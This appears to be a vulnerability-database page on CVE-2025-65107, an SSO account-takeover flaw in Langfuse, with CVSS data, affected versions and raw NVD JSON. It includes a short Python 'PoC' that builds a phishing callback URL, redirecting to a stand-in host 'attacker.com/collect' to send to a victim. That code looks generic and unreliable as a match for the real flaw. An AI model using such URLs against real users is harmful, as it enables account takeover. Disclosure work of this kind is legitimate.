Security Vulnerability Report
中文
CVE-2025-65107 CVSS 6.5 MEDIUM

CVE-2025-65107

Published: 2025-11-21 22:16:33
Last Modified: 2025-12-03 15:24:37

Description

Langfuse is an open source large language model engineering platform. In versions from 2.95.0 to before 2.95.12 and from 3.17.0 to before 3.131.0, in SSO provider configurations without an explicit AUTH_<PROVIDER>_CHECK setting, a potential account takeover may happen if an authenticated user is made to call a specifically crafted URL via a CSRF or phishing attack. This issue has been patched in versions 2.95.12 and 3.131.0. A workaround for this issue involves setting AUTH_<PROVIDER>_CHECK.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:langfuse:langfuse:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:langfuse:langfuse:*:*:*:*:*:*:*:* - VULNERABLE
Langfuse >= 2.95.0 且 < 2.95.12
Langfuse >= 3.17.0 且 < 3.131.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import hashlib import urllib.parse def generate_malicious_url(base_url, provider, redirect_uri): """ Generate malicious URL for CVE-2025-65107 exploitation This PoC demonstrates the attack chain for SSO account takeover """ params = { 'provider': provider, 'redirect_uri': redirect_uri, 'state': hashlib.md5(b'attacker_controlled_data').hexdigest(), 'code': 'malicious_authorization_code' } malicious_url = f"{base_url}/auth/sso/callback?{urllib.parse.urlencode(params)}" return malicious_url # Example usage # base_url = "https://vulnerable-langfuse-instance.com" # malicious_url = generate_malicious_url(base_url, "github", "https://attacker.com/collect") # print(f"Send this URL to victim: {malicious_url}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65107", "sourceIdentifier": "[email protected]", "published": "2025-11-21T22:16:33.127", "lastModified": "2025-12-03T15:24:37.370", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Langfuse is an open source large language model engineering platform. In versions from 2.95.0 to before 2.95.12 and from 3.17.0 to before 3.131.0, in SSO provider configurations without an explicit AUTH_<PROVIDER>_CHECK setting, a potential account takeover may happen if an authenticated user is made to call a specifically crafted URL via a CSRF or phishing attack. This issue has been patched in versions 2.95.12 and 3.131.0. A workaround for this issue involves setting AUTH_<PROVIDER>_CHECK."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}, {"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:langfuse:langfuse:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.95.0", "versionEndExcluding": "2.95.12", "matchCriteriaId": "EE6B4DE7-2440-4B1D-A0F2-589B93CBDA39"}, {"vulnerable": true, "criteria": "cpe:2.3:a:langfuse:langfuse:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.17.0", "versionEndExcluding": "3.131.0", "matchCriteriaId": "FD1B1F82-761E-4FF8-A66E-0CAEA7EB39E6"}]}]}], "references": [{"url": "https://github.com/langfuse/langfuse/security/advisories/GHSA-w9pw-c549-5m6w", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}